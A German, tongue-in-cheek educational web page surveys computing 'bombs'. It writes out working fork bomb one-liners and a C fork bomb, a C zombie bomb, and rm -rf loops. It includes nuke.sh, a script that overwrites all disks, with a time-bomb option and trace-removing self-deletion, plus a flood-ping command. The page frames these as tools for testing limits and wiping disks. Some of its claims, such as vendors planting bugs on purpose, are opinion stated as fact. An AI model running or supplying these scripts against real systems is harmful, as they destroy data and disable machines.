Bombenbau-Anleitungen (für angehende Informatiker)
Fork-Bombe
Eine Fork-Bombe ist ein Programm/Skript oder ein Kommandozeilen-Befehl der unbeschränkt
forkt
und sich dadurch bombenartig vervielfältigt.
Ein Beispiel für die Shell ist diese Zeile, die auch auf der Kommandozeile
(der Bash und ähnlicher Shells) funktioniert:
:(){ :|:& };:
Schöner sieht diese Bombe auf dem Bild vom Debian-Paket pydance-music aus, das man mit dem Lied
forkbomb.ogg unter /usr/share/games/pydance/songs/forkbomb/ findet:
Hier wird zunächst die Funktion : definiert (bis zum Semikolon) und anschließend
wird diese ausgeführt.
Danach geht es rund: Die Funktion ruft sich zweifach selbst auf und jeder dieser neuen Aufrufe
ruft sich auch zweifach auf und so weiter.
Die Pipe (|) sorgt dafür dass die Shell sich forkt um
das erste : auszuführen (es muss ja gleichzeitig mit dem zweiten
laufen, um seine Ausgabe als Eingabe für das zweite zu verwenden); das &
sorgt dafür, dass die Shell sich forkt, um den ganzen Ausdruck (also : | :) im Hintergrund auszuführen.
Jeder Funktionsaufruf sorgt also für zwei neue Prozesse; diese führen den
gleichen Code selber ebenfalls aus (da die Funktion sich ja selber aufruft),
erzeugen als ebenso zwei neue Prozesse. Das sind schon vier; bei der
nächsten Runde werden es 8; usw..
Wie beim Explodieren von A-Bomben hat man auch hier anfänglich ein exponentielles Wachstum;
daher der Name der Fork-Bombe und deshalb verwendet das obige Bild von pydance-music als Grundlage ein Bild
vom Mock-Up (Attrappe) der Little Boy.

Dieses (auf 50 % verkleinerte und per Rechtsklick vergrößerbare) Bild von wikipedia.de zeigt das exponentielle
Wachstum, bei dem jeder einzelne Prozess zwei weitere auslöst.
Ein äquivalentes Beispiel der obigen Zeile für die Shell gibt es natürlich
auch für Batch-Dateien (MS-Windows):
%0|%0
Diese 5 Zeichen in einer Text-Datei mit Namen beispiel.bat reichen aus;
zum Ausführen reicht dann ein Doppelklick.
In C sieht die Fork-Bombe so aus:
#include <unistd.h>
int main (int argc, char* argv[]) { for(;;) fork(); }
In der Praxis zeigen sich einige Unterschiede zwischen den verschiedenen Varianten der Fork-Bombe:
Die letzte Version, mittels "gcc -O2 -o forkbomb forkbomb.c" compiliert,
bringt SuSE 11.1 augenblicklich so schnell und nachhaltig zum Stehen, das
ein in einem anderen Fenster laufendes top nichts davon anzeigt und das
Betriebssystem zumindest eine Stunde lang nur auf
den Magic System Key Request reagiert, selbst wenn die Forkbombe nur von einem einfachen
User ausgeführt wird, während die Shell-Version es nur träge macht, selbst wenn die Shell-Version von root
ausgeführt wird.
Der Grund hierfür sind Limitierungen von (2009) modernen Betriebssysteme, die meist auch beim Superuser wirksam sind.
Beispielsweiese läßt sich das SuSE 11.1 durch die C-Version nicht aufhängen, wenn man in die C-Version vor jedem fork ein printf einfügt, oder hinter jedem
fork eine Endlosschleife wie for(;;) einfügt, denn das
reduziert die Geschwindigkeit des Forkens und gibt mehr Zeit zum Limitieren.
Die Wirkung der Fork-Bombe hängt auch vom Nice-Level bzw. der Priorität ab:
Je niedriger der Nice-Level bzw. je höher die Priorität desto schwerer ist
sie zu stoppen.
Verwendet werden Fork-Bomben unter Anderem zum Reduzieren der Rechner-Geschwindigkeit (für einzelne Prozesse) und auch
zum Testen von Limitierungen beispielsweise mittels ulimit oder /etc/security/limits.conf: Wurde richtig
limitiert, kann eine Fork-Bombe nicht stören; hat ein User keine
Limitierungen, was traditionellerweise beim Superuser
der Fall ist,
MUß der Rechner hierdurch hängen bleiben weil die Prozesse Resourcen
(Speicher, CPU-Zeit) belegen, die durch das exponentielle Wachstum rasch erschöpft sind,
aber Notfall-Aktionen wie z. B. der Magic System Key Request, müssen weiterhin funktionieren.
Ein weiteres Anwendungsfeld für Fork-Bomben ist das Überprüfen von Echtzeit-Eigenschaften
wie Interruptlatzenzeiten unter wiedrigen Bedingungen, beispielsweise von
RTAI.
Unter BSD findet man ein Fork-Bomb-Programm normalerweise unter
ports/packages/pkgsrc, zum Üben der System-Administration:
http://bsdwiki.reedmedia.net/wiki/Monitor_disk_input--output.html.
Eine Fork-Bombe ist eine der wenigen Möglichkeiten einen Rechner gezielt
zum Hängen bleiben (hangup) zu bringen um beispielsweise Watchdogs, die bei den meisten Server-
u. Workstation-Mainboards sowie IPMI-Modulen integriert sind, auch remote zu testen.
Allerdings eignen sich Forkbomben nur wenig zum Belasten von CPUs/GPUs/Kernen:
Wie auch Messungen mit Leistungsmessern zeigen, ist der Stromverbrauch mit einer Forkbombe
weit geringer als mit einem CPUburn-Programm, also einem Programm das
optimiert wurde um (alle) CPUs/GPUs/Cores durch möglichst hohen Stromverbrauch
möglichst stark zu erwärmen. Und hierbei zeigen sich die besten und damit
höchsten Werte mit den Programmen der CPU-Hersteller, die jeweils für
nur eine Prozessor-Familie erstellt werden und meist "confidential" sind.
Man kann zwar versuchen mit einer Fork-Bombe die CPUs noch zu mehr
beschäftigen indem man
sie nebenbei noch etwas rechnen läßt,
z. B. mittels
:(){ :|md5sum /dev/urandom&:& };:
oder
:(){ :|bzip2 -c /dev/zero > /dev/null&:& };:
aber damit wird meist nicht mehr Leistung
verbraucht.
Links dazu
Wikipedia-Eintrag dazu
http://www.forkbomb.com/
Zombie-Bombe
Die Zombie-Bombe ist eine Variante der Fork-Bombe: Bis auf den ersten Prozess der Fork-Bombe
sind alle anderen ein Zombie,
also tote Prozesse, die nicht mehr durch Töten beseitigt werden können, weil sie schon tot sind.
Zombie-Bomben sind im Prinzip etwas schwerer kontrollierbar als einfach Fork-Bomben, weil sie nur durch
Töten des ersten Prozesses (der kein Zombie sein kann) beendet werden können,
aber weil Zombies tote Prozesse sind, steigt die CPU-Auslastung (load average) nicht an und daher werden
laufende Prozesse durch eine Zombie-Bombe kaum beeinträchtigt; ein Rechner kann dadurch nicht zum
hängen bleiben (hangup) gebracht werden.
Hier ist ein Beispiel einer Zombiebombe in C, die so lange Zombies produziert, wie geforkt werden kann:
// zombiebomb.c: A simple zombie bomb.
// "THE BOMBWARE LICENSE" (Revision 22):
// Dr. Rolf Freitag (rolf dot freitag at email dot de) wrote this file.
// As long as you retain this notice you can do whatever
// the GPL (GNU Public License version 3) allows with this stuff.
// If you think this stuff is worth it, you can send me a (deactivated) bomb (or
// money via paypal).
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
pid_t child1;
static long long int lli;
int i_pid = getpid(); // Master PID = first PID
for(;;)
{
lli++;
switch( child1=fork() )
{
case -1 : printf("Error: Could not fork.\n");
continue;
case 0 : // Child: Do remain as a zombie.
printf("Child %lld, PID %d (Master-PID %d)\n", lli, getpid(), i_pid);
exit(1);
default : printf("Parent %lld, PID %d (Master-PID %d)\n", lli, getpid(), i_pid);
continue;
}
}
return 0;
}
Diese ganz einfache Version ist nur eine halbe Bombe, denn die Zombie-Anzahl wächst nur linear,
aber sie erreicht das Limit der Anzahl an Prozessen, das üblicherweise bei ein paar tausend
liegt, nach wenigen Sekunden.
Dann sind aber (zumind. unter SuSE 11.1) keine anderen Forks möglich. Beispielsweise
kein login, egal ob lokal oder remote; man erhält dann die Fehlermeldung
"Init: cannot fork, retry..". Damit kann z. B. ein einfacher User unter SuSE 11.1 verhindern das sich
andere User, auch Superuser, einloggen.
Zombie-Bomben werden wie fork-Bomben verwendet um Limitierungen u. A. zu testen.
Man kann sie auch dazu benutzen um das Forken, also Starten von neuen Prozessen zu verhindern.
Beispielsweise kann man damit das Starten einer (anderen) Fork-Bombe verhindern.
Hierzu gibt es die Analogie ein Feuer durch eine Detonation zu löschen, was beispielsweise bei
brennenden Erdöl- und Erdgas-Quellen üblich und meist auch das einzig mögliche Verfahren zum
Löschen ist.
Zip-Bombe
Eine Zip-Bombe ist eine komprimierte Datei, die unkomprimiert viel größer ist.
Dieser Begriff ist also nicht streng definiert; es ist Ansichtssache ob eine
stark komprimierte Datei eine Zip-Bombe ist.
Eine Zip-Bombe ensteht praktisch immer,
wenn man ein komprimiertes Image einer fabrikneuen Festplatte anfertigt, weil
sie fast immer nur binäre Nullen oder zumindest sehr stark komprimierbare
Muster enthält.
Ein anderes Beisiel ist 42.zip.
Diese Datei enthält 16 gezipte Dateien, die wiederum 16 gehzipte Dateien
enthalten, die wiederum 16 gehzipte Dateien enthalten, die wiederum 16 gehzipte
Dateien enthalten, die wiederum 16 gehzipte Dateien enthalten, die je eine
Datei von 4,3 GB Größe enthalten, so dass die Datei nach dem Entpacken
4,5 PByte groß ist. Der Grund für diesen Aufbau ist, das zip keine
Dateien größer 4 GiB verarbeiten kann.
Ein ganz einfacheres Beispiel kann man selber erstellen (Beispiel für Linux/Unix/Cygwin):
dd if=/dev/zero bs=1G count=1024 | bzip2 -9 > klein.bz2
Das Erstellen dieser klein.bz2 dauert rund 11 Stunden
mit einem Opteron 8216 (2,4 GHz), weil bzip2 und dd jeweils nur einen Core auslasten
und bzip2 mit knapp 28 MB/s lahm ist.
Allerdings kann man zum Komprimieren/Dekomprimieren auch Programme nutzen, die mehrere Cores verwenden und damit um ein Vielfaches schneller sind; beispielsweise
Parallel BZIP2.
Die mit 767 kB relativ kleine klein.bz2 ist entpackt 1
TiB groß und enthält genau das, was eine fabrikneue 1 TiB große Festplatte
üblicherweise enthält. Auf ein 2007 mittelmäßig schnelles kleines RAID,
beispielsweise ein RAID0 bestehend aus acht 15k6 SAS-Festplatten, kann diese
entpackte Datei in einer Viertelstunde geschrieben werden und ist dabei
noch kleiner als die Anfang 2010 bekannte genaueste Berechnung von Pi:
http://www.heise.de/newsticker/meldung/Pi-Berechnungsrekord-auf-handelsueblichem-PC-899930.html.
Weniger rechenintensiv als die Erstellung mit dd ist natürlich den Header einer
komprimierten Datei zu bearbeiten und so die dekomprimierte Größe
einzustellen.
Hier noch eine ähnliche Datei, die mit 2 GiB statt 1 GiB erstellt
wurde und die durch die binär gerade Größe auf nur 102 kB komprimiert
wurde: mittel.bz2.
Der Name der Zip-Bombe entstand durch schlampig programmierte Software, die
durch interne Fehler komprimierte Dateien nicht richtig verarbeitet (siehe
nächstes Kapitel und Link) und hat nichts mit exponentiellem Wachstum zu tun.
Solche Programmierfehlern können ebenfalls zum Hängen bleiben führen
unter Anderem bei
Hard Links,
Sparse Files, Link Loops (z. B. ln -sf foo bar; ln -sf bar foo) und Directory Loops,
beispielsweise in Zip-Dateien und anderen Dateien die einen Verzeichnisbaum enthalten,
wie beispielsweise
ISO-Images. Der Grund für ein mögliches
Hängen bleiben ist, das das Expandieren,
also Kopieren als einfache (andere) Datei, sowohl von Hard Links
wie von Sparse Files und Link Loops sowie auch Directory Loops, den Platzbedarf vervielfachen
kann und es leicht Probleme
gibt, wenn ein Programmierer dies nicht berücksichtigt.
Open-Source-Source-Software wie z. B. die
GNU Core Utilities
und direkt von den Betriebssytemherstellern stammende Programme haben praktisch
nie Probleme damit, wie beispielsweise ein Test mit Link Loops in der Bash zeigt:
> date; ln -sf foo bar; ln -sf bar foo; cat bar; rm bar; rm foo; date
Thu Jul 31 11:49:21 CEST 2008
cat: bar: Too many levels of symbolic links
Thu Jul 31 11:49:21 CEST 2008
>
Link dazu.
Mail-Bombe
Eine Mail-Bombe ist eine Zip-Bombe (s. o.) als Anhang einer E-Mail.
Schlampig programmierte Virenscanner, die beim Scannen von E-Mails komprimierte
Dateien ohne Überprüfungen und Limitierungen ganz gnadenlos entpacken,
können damit zum Absturz oder Hängenbleiben gebracht werden oder den
verfügbaren Platz auf
Festplatte und vielleicht auch im RAM komplett belegen. Solche unlimitierten
Aktionen sind typische Anfänger-Fehler beim Programmieren, die man am
(C-)Sourcode daran erkennt, das fget, malloc, strcat, strcpy, sprintf, strcmp,
strdup, strlen oder vprintf verwendet werden, denn die sicheren äquivalenten
Funktionen sind fgets, calloc, strncat, strncpy, strnprintf, strncmp,
strndup, strnlen und vsnprintf.
Zum Auffinden der genannten unsicheren Funktionen gibt es Programme wie
Flawfinder.
Genauer und auch für andere Programmiersprachen beschrieben findet man dies
unter der Rubrik Secure Coding bei CERT:
http://www.cert.org/secure-coding/.
Siehe auch
SPSA: The Secure Programming Skills Assessment
und 24C3-Vortrag: Grundlagen der sicheren Programmierung.
Für zuverlässige Programme ist zusätzlich fachmännische
Programmierung erforderlich. Hierzu gehört beispielsweise Rückgabewerte
zumindest generell auszuwerten und Daten aus gepufferten Schnittstellen
wie der seriellen Schnittstelle mit select und nicht
mit read einzulesen sowie Schnittstellen wie die serielle nur exklusiv zu
öffnen um auszuschließen, das mehrere Programme sie gleichzeitig
verwenden und sich gegenseitig Daten überschreiben/wegnehmen:
...
if (-1 == ioctl (fd, TIOCEXCL, &modelines)) // Put the tty into
exclusive mode. Schnittstelle exklusiv öffnen.
{
(void)fprintf (stderr, "ERROR at ioctl TIOCEXCL on
port %s, exiting! Schnittstelle %s konnte nicht exklusiv geöffnet werden; Exitus!\n",
a_device, a_device);
perror ("ioctl()");
return (-1);
}
...
Siehe auch:
Die 25 gefährlichsten Programmierfehler, Stand Januar 2009.
Die wichtigsten Vorgaben sicherer Programmierung sind - unabhängig von der Programmiersprache - folgende fünf Punkte:
1. Prüfung von Ein- und Ausgaben
2. Authentisierung und Zugriffskontrollen
3. korrektes Handhaben und Schutz von sensitiven Informationen und Daten
4. Befolgen des "Least Privilege"-Prinzips, das die tiefstmöglichen Privilegien vergibt
5. Verhindern von Informationspreisgaben (Geheimnisprinzip/Datenkapselung)
Bei vielen Programmen ist dies aber ignoriert worden, so das beispielsweise
ntpd und apcupsd problemlos die gleiche serielle Schnittstelle öffnen können und sich
damit gegenseitig die Daten überschreiben und kryptische Fehlermeldungen
produzieren.
Neben solchen Anfänger- und Flüchtigkeits-Fehlern beliebt sind auch
Fehler schon in der Spezifikation bzw. das Fehlen der Spezifikation sowie
falsche Vereinfachungen wie das eine Minute 60 Sekunden hat (Weglassen der
Schaltsekunden), das ein Jahr 365 Tage hat (Weglassen des 29. Februar und der
Schaltjahre generell;
ein Beispiel ist Zune am 366. Tag des Jahres 2008)
und auch das falsche Berechnen von Schaltjahren.
Ähnliche Klassiker sind das
Jahr-2000-Problem
und das
Jahr-2010-Problem.
Solche Fehler finden sich in sehr vielen Programmen und sind die Ursachen,
weshalb Hersteller wie Apple und Microsoft regelmäßig als Updates
bezeichnete Bugfixes veröffentlichen. Allerdings sind solche Fehler nicht
selten beabsichtigt um beispielsweise a) in den Nachrichten präsent zu sein
(kostenlose Werbung, "All Publicity Is Good Publicity") und
b) um die Kunden zum Kauf einer neueren Version zu animieren.
Ein Beispiel ist Excel von Microsoft: Von Anfang an verwendete es eine
falsche Berechnung der Schaltjahre und Mitte der 1990er Jahre
machte es mehrmals durch mehrere grobe Fehler von sich Reden:
http://www.heise.de/newsticker/Excel-Bugs-nehmen-kein-Ende--/meldung/2407
.
Wie sich 10 Jahre später
zeigt sind nicht nur immer noch reichlich Fehler enthalten (
http://www.spiegel.de/netzwelt/web/0,1518,563637,00.html
)
sondern es werden auch mit Updates gelegentlich neue Fehler eingebaut:
http://www.pctipp.ch/news/sicherheit/42727/excel_rechenfehler_nach_patch_day.html.
Im Gegensatz dazu haben sich andere Hersteller weniger Mühe beim Einbauen von
Fehlern gegeben; beispielsweise zeigt Googles kostenlose, webbasierte
Tabellenkalkulation Google Spreadsheets keinen der Fehler von Microsoft Excel.
Das Problem unsicherer Programmierung betrifft paradoxerweise auch
Sicherheits-Software wie Virenscanner und Firewalls, zumindest wenn sie
closed-source sind und daher die Nutzer den mieserablen Sourcecode nicht
einsehen können:
http://www.businessweek.com/technology/content/jun2005/tc20050617_1613_tc024.htm.
Und dieses Thema ist ein Dauerbrenner; auch Ende 2008 ist es noch aktuell:
http://www.heise.de/newsticker/Schwachstellen-in-mehreren-Virenscannern--/meldung/120826.
Hinzu kommt, das viele Sicherheitslücken ungepatcht bleiben, auch um so einen Zwang zum Kaufen von neuer Software
zu schaffen:
http://www.heise.de/security/Studie-Viele-Sicherheitsluecken-bleiben-ungepatcht--/news/meldung/126785.
Und es ist nicht anzunehmen, das sich dies ändern wird, denn Sicherheitsprodukte bestehen schon
seit Ende der 80er Jahre eine Zertifizierung im ersten Anlauf in 96 % aller Fälle nicht und in den
meisten Fällen entspricht nicht einmal die Kernfunktion des Produkts den gewünschten Anforderungen:
http://www.heise.de/security/meldung/Nur-wenige-Sicherheitsprodukte-bestehen-Zertifizierung-im-ersten-Anlauf-861036.html.
Das lange bekannte Mail-Bomben-Problem mit schlampig programmierten Virenscannern gibt es immer noch,
beispielsweise bei der Web-Mail von web.de (Stand Mitte 2007): Versucht man
die 42.zip
anzuhängen, bekommt man die Fehlermeldung
"Dateiname: 42.zip gefundener Virus: ZIP-Crash", was schlicht falsch ist und
zeigt, dass immer noch ein schlampig programmierter Virenscanner verwendet wird:
Die Datei enthält keinerlei Code und kann daher überhaupt keinen
Virus
enthalten!
Andere Dateien wie klein.bz2 werden von web.de sogar kommentarlos entfernt, so dass wenn man
nicht extra kontrolliert, das Löschen der Datei überhaupt nicht mitbekommt!
Dies sind schwerwiegende Bugs, denn sie bedeuten, das man über web.de
praktisch keine einfach komprimierten Festplatten-Images verschicken kann (Stand 2007-2009)!
Als Workaround bleibt nur ein Verschlüsseln der Dateien,
z. B. von *.img-Dateien, mittels "zip -P PaSsWoRt -r images *.img", oder in ein Steganogramm
packen oder den Mail-Provider zu wechseln (oder aufkaufen und diesen Unfug
abstellen lassen).
Allerdings gibt es auch DAPs, dümmste anzunehmende Provider, die das Problem
auf die Kunden verlagern, indem sie in ihre AGBs schreiben, das
Mail-Bomben unzulässig sind. Ein Beispiel findet man in §5 der AGBs der ANTACOM Online
Services (Stand 2008-05-31):
http://antacom.com/wsp/wagb.htm.
Weil dies eine überraschende Vertragsklausel ist, ist sie aber
unwirksam (§ 305c BGB). Hinzu kommt, das ohne die Präzisierung, ab welchen
Werten genau
eine Mail auch eine Mail-Bombe ist, diese Vertragsklausel unklar und auch
deswegen unwirksam ist.
Link dazu.
Logische Bombe
Eine logische Bombe ist ein Teil eines Computerprogramms oder Skripts,
der unter
bestimmten Bedingungen schädliche Aktionen wie z. B. das überschreibende
Löschen aller gemounteten und beschreibbaren Dateisysteme
auslöst. Auch für Logische Bomben gibt es keine klare Definition, so das
es Ansichtssache ist, ob beispielsweise das Leeren des Papierkorbs eine
logische Bombe ist.
Ist die auslösende Aktion das Erreichen einer Zeit, so bezeichnet man die
logische Bombe auch als Zeitbombe. Hierzu zählen neben Programmen mit
bekannter Zeitbeschränkung
vor allem auch Programme mit einem
heimlichen Verfallsdatum, insbesondere wenn sie Geld gekostet haben, denn
hierdurch entsteht direkt ein finanzieller Schaden/Schadensersatzanspruch.
Ein Beispiel hierfür ist das Fahrtenbuchprogramm vom "WISO Rechnungsbuch 2008",
das 2008 knapp 30 Euro kostete und nach nur einem Jahr Gebrauch ohne Vorwarnung
jeden neuen Dateneintrag verweigert und so plötzlich unbrauchbar wird;
der Kunde erfährt davon erst im Nachhinein:
http://www.heise.de/ct/inhalt/2009/15/70/.
Ist das Auslösen manuell und die Folgen gewollt,
ist eine logische Bombe in der Regel ein sehr gründliches Aufräumen
(Bereinigen der Datenträger); englisch core
purge genannt.
Klassische Beispiele für logische Bomben sind format C: und
rm -rf /, aber mittels undelete-Programmen ist der Schaden von diesen
Klassikern reparierbar, weil die Daten nicht überschrieben werden und
deshalb noch auf den Datenträgern wiedergefunden werden können.
Sofern man keine uralte Version von rm hat, fehlt zudem
noch die Option --no-preserve-root und auch mit dieser Option bleiben alle Verzeichnisse
erhalten, die ein gemountetes Dateisystem enthalten; rm weigert sich mit der
Fehlermeldung "Device or resource busy" und terminiert dann.
Hinzu kommt, das hierbei nicht fehlertolerant nach inodes gelöscht wird
(http://www.cyberciti.biz/tips/delete-remove-files-with-inode-number.html,
http://admon.org/planet/delete-files-inode-number).
Besser aber auch nicht perfekt ist daher ein Löschen mittels:
cd /; for i in $(ls -a); do rm -rf -- $i; done
Das Problem hierbei ist, das man sich beim kompletten
Löschen sozusagen den Ast absägt auf dem man sitzt; nachdem
rm sich selbst gelöscht hat, schlagen nachfolgende Aufrufe von rm fehlt.
Zum vollständigen Löschen muß man daher die Lösch-Software in das RAM
laden und von dort aus auf den Datenträgern (Festplatten, Netzlaufwerke etc.)
komplett Löschen.
Teilweise geht das mit der Bash-Funktion/Shell Builtin > vor dem Dateinamen,
durch das die Dateilänge auf 0 gekürzt wird, aber danach bleiben noch die
Verzeichnisstruktur sowie die Dateinamen erhalten und durch das Leeren gibt es
diverse Fehler wie "Bus Error", durch die auch dieses Löschen abbricht.
Ein richtiges Löschen sollte stattdessen
endgültig/sicher erfolgen, also auch durch Überschreiben mit einem
Zufallsmuster (Datenmüll).
Für einzelne Dateien nimmt man dafür Programme wie shred oder srm.
Für Datenträger nimmt man hierzu dd mit der Option conv=noerror, ddrescue,
dd_rescue oder besser
(d. h. schneller als ddrescue oder dd_rescue mit /dev/urandom als Quelle)
badblocks mit der Option -t random.
Deshalb hier ein Beispiel-Skript (nuke.sh) zum möglichst kompletten Löschen:
#!/bin/bash
# "THE BOMBWARE LICENSE" (Revision 22):
# Dr. Rolf Freitag (rolf dot freitag at email dot de) wrote this file.
# As long as you retain this notice you can do whatever
# the GPL (GNU Public License version 3) allows with this stuff.
# If you think this stuff is worth it, you can send me a (deactivated) bomb (or
# money via paypal).
# uncomment the next line for a time bomb (with a delay of 3600 s = one hour)
#sleep 3600
# function makeempty: Set the file length recursively to zero, usefull for non-local
# files which can not be deleted by rm/srm.
makeempty ()
{
find "$i" -type f | while read file
do
>"$file"
done
}
# function delete: makeempty root (/) and try (secure) deletion of every ordinary file, usefull
# only for non-local files.
delete ()
{
cd /
for i in $(ls -ar)
do
makeempty &
# srm -rf "$i"&
rm -rf -- "$i"&
done
}
# Delete all local data carrier by overwriting with random pattern:
# badblocks with f (force) for overwriting also mounted partitions/data carriers and
# w for write. Todo: Version which works also with all DVD-RWs, tape drives, ...
cd /dev
for i in $(ls hd? sd? fd0 fd1)
do
badblocks -fw -t random "$i" &
done
delete &
# simple self-destruction to remove traces early
> $0
rm -rf -- $0
Es gibt diverse andere Varianten wie die Dateien selbst nicht zu verändern, aber deren Namen zu vertauschen.
Eine weitere Variante ist die Dateinamen beizubehalten, den Inhalt aber mit einem (für den User unbekanntem)
Passwort zu verschlüsseln.
Um logische Bomben besser verkaufen zu können gibt es sie unter
verschiedensten Namen, beispielsweise
als "Anti-Theft Technologie" bei Intel u. Fujitsu.
Anwendungsgebiete sind neben dem Datenschutz auf gestohlenen PCs und Notebooks
hauptsächlich das Löschen von gebrauchten Datenträgern vor dem Verkauf,
beispielsweise mit einem von Knoppix-CD/DVD oder Knoppix-USB-Speicherstick
(mit funktionierendem Schreibschutzschalter) gestartetem (Boot-)Skript.
Hierbei verwendet man aber nur die Schreib-Lesetests, also die Schleife mit
badblocks, und zur Überprüfung
sowie Dokumentation Log-Dateien, z. B. mit (vor dem &) angehängtem
2>&1 | tee /tmp/mountpoint/log/badblocks_$i.txt
und zum Speichern der Log-Dateien, z. B. auf USB-Speicherstick, muß man
sicherstellen das der Speicherort nicht überschrieben wird, z. B. durch
if [ "$i" != "sda" ]
then
...
fi
um die Zeile mit badblocks.
Ähnliches macht das
Darik's Boot and Nuke ("DBAN")
aber ohne Log-Dateien, so das Datenträger-Defekte meist nicht gefunden werden
und das Verkaufsargument der geprüften und fehlerfreien Datenträger fehlt.
Logische Bomben wirken auch gegen Viren, Würmer, Trojaner und andere Malware,
aber sie überschrieben auch alle anderen Dateien.
Starten kann man solche Bomben auch über definierte Tastenkombinationen,
z. B. mittels CTRL-ALT-DEL, zu der man unter Linux u. Ä.
eine Zeile in der /etc/inittab findet; um die geänderte inittab zu übernehmen
ist nachher ein "telinit q" (oder reboot) nötig. Allerdings ist meistens, insbesondere bei verschlüsselten
Partitionen, ein Shutdown sinnvoller, beispielsweise mittels "init 6" (nicht "init 0" wegen möglichen cold boot attacks).
Daneben bietet
"Lost
Data Destruction" von Beach Head Solutions
drei verschiedene Varianten zum Löschen aller Daten auf Laptops
und
Mobile Security 7.0 von Kaspersky
hat eine Löschfunktion für verlorene oder gestohlene Mobiltelefone, die
alle Daten löscht.
Ähnliche Programme findet man hier:
http://www.golem.de/0909/69881.html.
Es gibt auch Versionen der logischen Bomben, die neben den Daten auch das
Betriebssystem, das BIOS und die Firmwaren, z. B. der Festplatte(n),
Grafikkarte(n), HBA(s) usw. überschreiben.
Die betroffene Hardware ist danach meist nicht reparierbar, und damit
meist Schrott, wie nach einer nahen Explosion einer Sprengstoffbombe.
Link dazu.
Kryptologische Bombe
Die Kryptologische Bombe ist ein elektromechanisches Dechiffriergerät, das
mit der deutschen Enigma verschlüsselte Nachrichten entzifferte.
Sie wird auch Turing-Bombe genannt, weil Allan
Turing daran beteiligt war, aber sie ist praktisch nur von historischem Interesse.
Link dazu.
Ping-Bombe
Als Ping-Bombe wird ein
flooding Ping
bezeichnet, der eine Netzwerkverbindung
sehr langsam und damit praktisch unbrauchbar machen kann. Hierfür
benöitgt der Sender der Ping-Pakete aber (deutlich) mehr Bandbreite als das Ziel.
Der Name wird beispielsweise auf Wikipedia verwendet:
http://en.wikipedia.org/wiki/Wikipedia:Disabling_edits_by_unregistered_users_and_stricter_registration_requirement
und er kommt daher, das das Ziel mit Ping-Paketen "bombardiert" wird. Er hat
nichts mit dem
Ping of death
zu tun.
Er kann kombiniert werden mit einer falschen Absender-IP-Nr. und so zwei Opfer haben, welche die Quelle nicht erkennen können (eine Variante des IP-Spoofing).
Eine Ping-Bombe wird unter Anderem zum Bestimmen von Bandbreiten verwendet.
Beispiel (im Unix-Format, vom Superuser auszuführen):
ping -s 65507 -l 32 -p 0f1e2d3c4b5a6978 -f 192.168.0.1
Die Bandbreite kann man über ifconfig/ipconfig anhand der übertragenen
Datenmenge ausrechnen und Programme wie gkrellm, xosview usw. zeigen die erreichte Datenrate
direkt an.
Mit einer Ping-Bombe kann man auch die Qualität der Datenverbindung überprüfen, denn das Programm Ping gibt neben der Verzögerungszeit
(Round Trip Time, kurz RTT) ja auch die Anzahl der verlorenen und der defekten Datenpakete an. Hierzu sollte man die Datenpakete maximal
groß wählen (MTU-28) und als nicht defragmentierbar kennzeichnen (Option "-M do").
Mit den Programmen ifconfig/ipconfig und ethtool erhält man weitere Informationen über die Qualität der
Datenverbindung und man kann damit beispielsweise auch zwischen einem defekten Modem und einer defekten Telefonleitung eindeutig
unterscheiden, allein mit Software.
Verwandt mit der Ping-Bombe sind
Smurf-Attacken.
Neben dem einfachen Ping kann man prinzipiell auch
arping,
httping
sowie
hping
und andere wie bing,
fping,
mtr und pathping verwenden.
BGP-Bombe
Die BGP-Bombe ist der Mißbrauch des Border Gateway Protocol (BGP, RFC
4271) zum "kapern" von Webservern (bzw. deren IP-Nr.).
Solche Bomben sind sehr effektiv, weil das BGP so gut wie
keine Autorisierungsmechanismen hat, die Missbrauch
verhindern könnten.
Die Pakistan Telecom hat mit so einer Bombe im Februar 2008 stundenlang
Youtube.com nicht nur in Pakistan sondern sogar weltweit gesperrt, obwohl diese
Mißbrauchs-Möglichkeit schon über 10 Jahre vorher allgemein bekannt war:
http://www.eweek.com/c/a/Security/Pakistan-Drops-the-BGP-Bomb/
http://www.heise.de/security/Router-luegen-nicht-was-wenn-doch--/news/meldung/114984
Für alle Informatik-Studenten, die ihre Bombe
verloren haben. Von Dr. Evil.
Quelle:
http://www.infmath.de/wbb/index.php?page=Thread&threadID=940.
Absturz-Bombe
Als Absturz-Bombe bezeichnet man gezielte Abstürze des Betriebssystems,
beispielsweise die Kernel-Patches von Net Insight, für
Nullpointer-Dereferenzierung, Stack Corruption, Heap Corruption, Kernel
Panic und andere Abstürze; beschrieben im Linux-Magazin 04/10, Seite 20.
Der Name kommt auch von der Fehlermeldung des Mac OS (vor Mac OS X),
denn wenn dieses Betriebssystem abstürzt, zeigt die Fehlermeldung eine
Bombe. Siehe auch nächstes Kapitel.
Als Bömbchen gibt es Programm-Abstürze, z. B. durch Segmentation Violation/Schutzverletzung.

Quelle:
http://www.globalsecurity.org/military/systems/munitions/hpm.htm.
Weitere Links:
Weiterer http://science.howstuffworks.com/e-bomb.htm
http://web.archive.org/web/20061117165357/http://www.airpower.maxwell.af.mil/airchronicles/kopp/apjemp.html
http://encyclopedia.thefreedictionary.com/Explosively pumped flux compression generator
http://www.tfd.chalmers.se/~valeri/EMP.html
Computer Bombs
Ca. 1995:

Auf 50 % verkleinertes und per Rechtsklick vergrößerbares Bild.
2006:

http://www.theinquirer.net/inquirer/news/1042700/dell-laptop-explodes-japanese-conference
(nur für MS-DOS/MS-Win9x/ME)
Patch bombs, bombout, bombing out etc. in Linux
find /usr/src/linux/. -type f -exec grep -i "bomb" {} \;
USB Bombe
Bombastischer Speicher bombensicher: USB-Bombe für explosive Daten

Zum Anschließen eignet sich besonders der
USB Doomsday Device Hub/Suicide Bomb Button mit
Kill switch:

Nicht direkt zur Informatik gehörend, aber auch für Informatiker
interessante "Bomben" ;-)
Sexbombe
Leuchtbomben - Eine Bomben-Entdeckung
Bombardierkäfer
Stinkbombe
(FeS + 2HCl => H2S (g) + FeCl2)
Who?-Me?-Bombe und Gay Bomb
Bomba - eine Kalorienbombe.
Rettungsbombe
Weitere Kalorienbomben sind die
Rumbombe, die
Liegnitzer Bombe
und die
Eisbombe,
beispielsweise die
Fürst-Pückler-Bombe.
Vulkanische Bombe
Schmutzige Bombe und Sprengsatz-Bombe
Geldbombe
Arschbombe
Rauchbombe
Lachbombe
Bombenidee
Bomberjacke
passend zum
Bomber.
Allerdings wird
Bombing
auch von Sprayern ausgeübt.
Bombenwetter
Bomben-Software
Bombenjahre
Schlaue Bomben
Intelligente Bomben
